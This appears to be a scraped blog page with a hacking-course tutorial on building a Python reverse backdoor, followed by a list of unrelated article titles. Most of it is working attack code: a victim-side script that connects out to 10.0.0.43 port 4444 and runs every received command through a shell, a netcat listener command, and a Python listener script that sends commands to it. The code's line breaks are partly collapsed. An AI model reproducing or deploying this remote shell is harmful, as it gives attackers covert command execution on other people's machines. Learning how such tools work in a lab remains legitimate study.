REVERSE_BACKDOOR

  • Access file system.
  • Execute system commands.
  • Download files.
  • Upload files.
  • Persistence.

BACKDOORS

An interactive program gives access to a system its executed on.

  • Command execution.
  • Access file system.
  • Upload/download files.
  • Run keylogger.
  • ...etc

Write the Reverse backdoor Python script and execute on Windows machine. (Victim machine)

#!/usr/bin/env python
import socket
import subprocess def execute_system_command(command):
return subprocess.check_output(command, shell=True) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("10.0.0.43", 4444)) connection.send(b"\n[+] Connection established.\n") while True:
command = connection.recv(1024).decode()
command_result = execute_system_command(command)
connection.send(command_result) connection.close()

Run the listening progress on the Kali Linux to establish the connection and execute the system commands.

nc -vv -l -p 

Write and execute the Python Listener:

#!/usr/bin/env python
import socket listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("10.0.0.43", 4444))
listener.listen(0)
print("[+] Waiting for incoming connections")
connection, address = listener.accept()
print("[+] Got a connection from " + str(address)) while True:
command = input(">> ").encode()
connection.send(command)
result = connection.recv(1024).decode()
print(result)

最新文章

  1. 浅谈ajax
  2. 两个文件去重的N种姿势
  3. 夺命雷公狗---TP商城----TP之配置环境---1
  4. SOD 精选细节--常用工具
  5. C# 类中隐藏基类方法和Partial
  6. 第一篇:python基础
  7. oracle where与having
  8. Qt 之 入门例程(二)
  9. jenkins跑maven项目的时候报错,看评论
  10. 201521123042《Java程序设计》 第7周学习总结
  11. 在Windows 下如何使用 AspNetCore Api 和 consul
  12. Google Quic协议
  13. ModelForm的使用
  14. HDU2444(KB10-B 二分图判定+最大匹配)
  15. 【转帖】 redis 命令 From https://www.cnblogs.com/zhouweidong/p/7550717.html
  16. unity3d-小案例之角色简单漫游
  17. Microsoft Office2003打开office2007文件的补丁
  18. MySQL事务之-2
  19. URAL 1106 Two Teams (DFS)
  20. JAVA数组的遍历和取最值

热门文章

  1. 01MySQL内核分析-The Skeleton of the Server Code
  2. Zookeeper分布式过程协同技术 - 部署及设置
  3. 入门大数据---Spark_Transformation和Action算子
  4. 报错 version `GLIBCXX_3.4.22' not found
  5. 【部分】ASP.NET MVC的Controller接收输入详解
  6. 策略模式、策略模式与Spring的碰撞
  7. 断路器Hystrix(Feign)
  8. 多线程下的list
  9. Guava RateLimiter限流器使用示例
  10. CSS三种布局模型是什么?